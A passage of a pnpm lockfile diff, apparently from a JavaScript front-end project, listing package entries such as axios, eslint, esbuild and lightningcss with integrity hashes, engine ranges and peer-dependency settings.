sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} + engines: {node: '>=8'} + + argparse@2.0.1: + resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} + + asynckit@0.4.0: + resolution: {integrity: sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==} + + autoprefixer@10.4.27: + resolution: {integrity: sha512-NP9APE+tO+LuJGn7/9+cohklunJsXWiaWEfV3si4Gi/XHDwVNgkwr1J3RQYFIvPy76GmJ9/bW8vyoU1LcxwKHA==} + engines: {node: ^10 || ^12 || >=14} + hasBin: true + peerDependencies: + postcss: ^8.1.0 + + axios@1.11.0: + resolution: {integrity: sha512-1Lx3WLFQWm3ooKDYZD1eXmoGO9fxYQjrycfHFC8P0sCfQVXyROp0p9PFWBehewBOdCwHc+f/b8I0fMto5eSfwA==} + + balanced-match@1.0.2: + resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} + + baseline-browser-mapping@2.10.9: + resolution: {integrity: sha512-OZd0e2mU11ClX8+IdXe3r0dbqMEznRiT4TfbhYIbcRPZkqJ7Qwer8ij3GZAmLsRKa+II9V1v5czCkvmHH3XZBg==} + engines: {node: '>=6.0.0'} + hasBin: true + + birpc@2.9.0: + resolution: {integrity: sha512-KrayHS5pBi69Xi9JmvoqrIgYGDkD6mcSe/i6YKi3w5kekCLzrX4+nawcXqrj2tIp50Kw/mT/s3p+GVK0A0sKxw==} + + brace-expansion@1.1.11: + resolution: {integrity: sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==} + + browserslist@4.24.4: + resolution: {integrity: sha512-KDi1Ny1gSePi1vm0q4oxSF8b4DR44GF4BbmS2YdhPLOEqd8pDviZOGH/GsmRwoWJ2+5Lr085X7naowMwKHDG1A==} + engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} + hasBin: true + + browserslist@4.28.1: + resolution: {integrity: sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==} + engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} + hasBin: true + + call-bind-apply-helpers@1.0.2: + resolution: {integrity: sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==} + engines: {node: '>= 0.4'} + + callsites@3.1.0: + resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} + engines: {node: '>=6'} + + caniuse-lite@1.0.30001780: + resolution: {integrity: sha512-llngX0E7nQci5BPJDqoZSbuZ5Bcs9F5db7EtgfwBerX9XGtkkiO4NwfDDIRzHTTwcYC8vC7bmeUEPGrKlR/TkQ==} + + ccount@2.0.1: + resolution: {integrity: sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==} + + chalk@4.1.2: + resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} + engines: {node: '>=10'} + + character-entities-html4@2.1.0: + resolution: {integrity: sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==} + + character-entities-legacy@3.0.0: + resolution: {integrity: sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==} + + color-convert@2.0.1: + resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} + engines: {node: '>=7.0.0'} + + color-name@1.1.4: + resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} + + combined-stream@1.0.8: + resolution: {integrity: sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==} + engines: {node: '>= 0.8'} + + comma-separated-tokens@2.0.3: + resolution: {integrity: sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==} + + concat-map@0.0.1: + resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==} + + convert-source-map@2.0.0: + resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==} + + copy-anything@4.0.5: + resolution: {integrity: sha512-7Vv6asjS4gMOuILabD3l739tsaxFQmC+a7pLZm02zyvs8p977bL3zEgq3yDk5rn9B0PbYgIv++jmHcuUab4RhA==} + engines: {node: '>=18'} + + cross-spawn@7.0.6: + resolution: {integrity: sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==} + engines: {node: '>= 8'} + + csstype@3.1.3: + resolution: {integrity: sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==} + + csstype@3.2.3: + resolution: {integrity: sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==} + + debug@4.4.0: + resolution: {integrity: sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==} + engines: {node: '>=6.0'} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + deep-is@0.1.4: + resolution: {integrity: sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==} + + delayed-stream@1.0.0: + resolution: {integrity: sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==} + engines: {node: '>=0.4.0'} + + dequal@2.0.3: + resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==} + engines: {node: '>=6'} + + detect-libc@2.1.2: + resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==} + engines: {node: '>=8'} + + devlop@1.1.0: + resolution: {integrity: sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==} + + dunder-proto@1.0.1: + resolution: {integrity: sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==} + engines: {node: '>= 0.4'} + + electron-to-chromium@1.5.141: + resolution: {integrity: sha512-qS+qH9oqVYc1ooubTiB9l904WVyM6qNYxtOEEGReoZXw3xlqeYdFr5GclNzbkAufWgwWLEPoDi3d9MoRwwIjGw==} + + electron-to-chromium@1.5.321: + resolution: {integrity: sha512-L2C7Q279W2D/J4PLZLk7sebOILDSWos7bMsMNN06rK482umHUrh/3lM8G7IlHFOYip2oAg5nha1rCMxr/rs6ZQ==} + + enhanced-resolve@5.20.1: + resolution: {integrity: sha512-Qohcme7V1inbAfvjItgw0EaxVX5q2rdVEZHRBrEQdRZTssLDGsL8Lwrznl8oQ/6kuTJONLaDcGjkNP247XEhcA==} + engines: {node: '>=10.13.0'} + + entities@4.5.0: + resolution: {integrity: sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==} + engines: {node: '>=0.12'} + + es-define-property@1.0.1: + resolution: {integrity: sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==} + engines: {node: '>= 0.4'} + + es-errors@1.3.0: + resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==} + engines: {node: '>= 0.4'} + + es-object-atoms@1.1.1: + resolution: {integrity: sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==} + engines: {node: '>= 0.4'} + + es-set-tostringtag@2.1.0: + resolution: {integrity: sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==} + engines: {node: '>= 0.4'} + + esbuild@0.25.3: + resolution: {integrity: sha512-qKA6Pvai73+M2FtftpNKRxJ78GIjmFXFxd/1DVBqGo/qNhLSfv+G12n9pNoWdytJC8U00TrViOwpjT0zgqQS8Q==} + engines: {node: '>=18'} + hasBin: true + + escalade@3.2.0: + resolution: {integrity: sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==} + engines: {node: '>=6'} + + escape-string-regexp@4.0.0: + resolution: {integrity: sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==} + engines: {node: '>=10'} + + eslint-plugin-react-hooks@5.2.0: + resolution: {integrity: sha512-+f15FfK64YQwZdJNELETdn5ibXEUQmW1DZL6KXhNnc2heoy/sg9VJJeT7n8TlMWouzWqSWavFkIhHyIbIAEapg==} + engines: {node: '>=10'} + peerDependencies: + eslint: ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0 + + eslint-plugin-react-refresh@0.4.20: + resolution: {integrity: sha512-XpbHQ2q5gUF8BGOX4dHe+71qoirYMhApEPZ7sfhF/dNnOF1UXnCMGZf79SFTBO7Bz5YEIT4TMieSlJBWhP9WBA==} + peerDependencies: + eslint: '>=8.40' + + eslint-scope@8.3.0: + resolution: {integrity: sha512-pUNxi75F8MJ/GdeKtVLSbYg4ZI34J6C0C7sbL4YOp2exGwen7ZsuBqKzUhXd0qMQ362yET3z+uPwKeg/0C2XCQ==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + eslint-visitor-keys@3.4.3: + resolution: {integrity: sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + eslint-visitor-keys@4.2.0: + resolution: {integrity: sha512-UyLnSehNt62FFhSwjZlHmeokpRK59rcz29j+F1/aDgbkbRTk7wIc9XzdoasMUbRNKDM0qQt/+BJ4BrpFeABemw==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + eslint@9.25.1: + resolution: {integrity: sha512-E6Mtz9oGQWDCpV12319d59n4tx9zOTXSTmc8BLVxBx+G/0RdM5MvEEJLU9c0+aleoePYYgVTOsRblx433qmhWQ==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + hasBin: true + peerDependencies: + jiti: '*' + peerDependenciesMeta: + jiti: + optional: true + + espree@10.3.0: + resolution: {integrity: sha512-0QYC8b24HWY8zjRnDTL6RiHfDbAWn63qb4LMj1Z4b076A4une81+z03Kg7l7mn/48PUTqoLptSXez8oknU8Clg==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + esquery@1.6.0: + resolution: {integrity: sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==} + engines: {node: '>=0.10'} + + esrecurse@4.3.0: + resolution: {integrity: sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==} + engines: {node: '>=4.0'} + + estraverse@5.3.0: + resolution: {integrity: sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==} + engines: {node: '>=4.0'} + + estree-walker@2.0.2: + resolution: {integrity: sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==} + + esutils@2.0.3: + resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==} + engines: {node: '>=0.10.0'} + + fast-deep-equal@3.1.3: + resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} + + fast-json-stable-stringify@2.1.0: + resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==} + + fast-levenshtein@2.0.6: + resolution: {integrity: sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==} + + fdir@6.4.4: + resolution: {integrity: sha512-1NZP+GK4GfuAv3PqKvxQRDMjdSRZjnkq7KfhlNrCNNlZ0ygQFpebfrnfnq/W7fpUnAv9aGWmY1zKx7FYL3gwhg==} + peerDependencies: + picomatch: ^3 || ^4 + peerDependenciesMeta: + picomatch: + optional: true + + fdir@6.5.0: + resolution: {integrity: sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==} + engines: {node: '>=12.0.0'} + peerDependencies: + picomatch: ^3 || ^4 + peerDependenciesMeta: + picomatch: + optional: true + + file-entry-cache@8.0.0: + resolution: {integrity: sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==} + engines: {node: '>=16.0.0'} + + find-up@5.0.0: + resolution: {integrity: sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==} + engines: {node: '>=10'} + + flat-cache@4.0.1: + resolution: {integrity: sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==} + engines: {node: '>=16'} + + flatted@3.3.3: + resolution: {integrity: sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==} + + focus-trap@7.6.6: + resolution: {integrity: sha512-v/Z8bvMCajtx4mEXmOo7QEsIzlIOqRXTIwgUfsFOF9gEsespdbD0AkPIka1bSXZ8Y8oZ+2IVDQZePkTfEHZl7Q==} + + follow-redirects@1.15.11: + resolution: {integrity: sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==} + engines: {node: '>=4.0'} + peerDependencies: + debug: '*' + peerDependenciesMeta: + debug: + optional: true + + form-data@4.0.5: + resolution: {integrity: sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==} + engines: {node: '>= 6'} + + fraction.js@5.3.4: + resolution: {integrity: sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==} + + fsevents@2.3.3: + resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} + engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} + os: [darwin] + + function-bind@1.1.2: + resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==} + + gensync@1.0.0-beta.2: + resolution: {integrity: sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==} + engines: {node: '>=6.9.0'} + + get-intrinsic@1.3.0: + resolution: {integrity: sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==} + engines: {node: '>= 0.4'} + + get-proto@1.0.1: + resolution: {integrity: sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==} + engines: {node: '>= 0.4'} + + glob-parent@6.0.2: + resolution: {integrity: sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==} + engines: {node: '>=10.13.0'} + + globals@11.12.0: + resolution: {integrity: sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==} + engines: {node: '>=4'} + + globals@14.0.0: + resolution: {integrity: sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==} + engines: {node: '>=18'} + + globals@16.0.0: + resolution: {integrity: sha512-iInW14XItCXET01CQFqudPOWP2jYMl7T+QRQT+UNcR/iQncN/F0UNpgd76iFkBPgNQb4+X3LV9tLJYzwh+Gl3A==} + engines: {node: '>=18'} + + gopd@1.2.0: + resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==} + engines: {node: '>= 0.4'} + + graceful-fs@4.2.11: + resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} + + has-flag@4.0.0: + resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} + engines: {node: '>=8'} + + has-symbols@1.1.0: + resolution: {integrity: sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==} + engines: {node: '>= 0.4'} + + has-tostringtag@1.0.2: + resolution: {integrity: sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==} + engines: {node: '>= 0.4'} + + hasown@2.0.2: + resolution: {integrity: sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==} + engines: {node: '>= 0.4'} + + hast-util-to-html@9.0.5: + resolution: {integrity: sha512-OguPdidb+fbHQSU4Q4ZiLKnzWo8Wwsf5bZfbvu7//a9oTYoqD/fWpe96NuHkoS9h0ccGOTe0C4NGXdtS0iObOw==} + + hast-util-whitespace@3.0.0: + resolution: {integrity: sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==} + + hookable@5.5.3: + resolution: {integrity: sha512-Yc+BQe8SvoXH1643Qez1zqLRmbA5rCL+sSmk6TVos0LWVfNIB7PGncdlId77WzLGSIB5KaWgTaNTs2lNVEI6VQ==} + + htm@3.1.1: + resolution: {integrity: sha512-983Vyg8NwUE7JkZ6NmOqpCZ+sh1bKv2iYTlUkzlWmA5JD2acKoxd4KVxbMmxX/85mtfdnDmTFoNKcg5DGAvxNQ==} + + html-void-elements@3.0.0: + resolution: {integrity: sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==} + + ignore@5.3.2: + resolution: {integrity: sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==} + engines: {node: '>= 4'} + + import-fresh@3.3.1: + resolution: {integrity: sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==} + engines: {node: '>=6'} + + imurmurhash@0.1.4: + resolution: {integrity: sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==} + engines: {node: '>=0.8.19'} + + is-extglob@2.1.1: + resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} + engines: {node: '>=0.10.0'} + + is-glob@4.0.3: + resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} + engines: {node: '>=0.10.0'} + + is-what@5.5.0: + resolution: {integrity: sha512-oG7cgbmg5kLYae2N5IVd3jm2s+vldjxJzK1pcu9LfpGuQ93MQSzo0okvRna+7y5ifrD+20FE8FvjusyGaz14fw==} + engines: {node: '>=18'} + + isexe@2.0.0: + resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} + + jiti@2.6.1: + resolution: {integrity: sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ==} + hasBin: true + + js-tokens@4.0.0: + resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} + + js-yaml@4.1.0: + resolution: {integrity: sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==} + hasBin: true + + jsesc@3.1.0: + resolution: {integrity: sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==} + engines: {node: '>=6'} + hasBin: true + + json-buffer@3.0.1: + resolution: {integrity: sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==} + + json-schema-traverse@0.4.1: + resolution: {integrity: sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==} + + json-stable-stringify-without-jsonify@1.0.1: + resolution: {integrity: sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==} + + json5@2.2.3: + resolution: {integrity: sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==} + engines: {node: '>=6'} + hasBin: true + + keyv@4.5.4: + resolution: {integrity: sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==} + + levn@0.4.1: + resolution: {integrity: sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==} + engines: {node: '>= 0.8.0'} + + lightningcss-android-arm64@1.32.0: + resolution: {integrity: sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [android] + + lightningcss-darwin-arm64@1.32.0: + resolution: {integrity: sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [darwin] + + lightningcss-darwin-x64@1.32.0: + resolution: {integrity: sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [darwin] + + lightningcss-freebsd-x64@1.32.0: + resolution: {integrity: sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [freebsd] + + lightningcss-linux-arm-gnueabihf@1.32.0: + resolution: {integrity: sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw==} + engines: {node: '>= 12.0.0'} + cpu: [arm] + os: [linux] + + lightningcss-linux-arm64-gnu@1.32.0: + resolution: {integrity: sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [linux] + + lightningcss-linux-arm64-musl@1.32.0: + resolution: {integrity: sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [linux] + + lightningcss-linux-x64-gnu@1.32.0: + resolution: {integrity: sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [linux] + + lightningcss-linux-x64-musl@1.32.0: + resolution: {integrity: 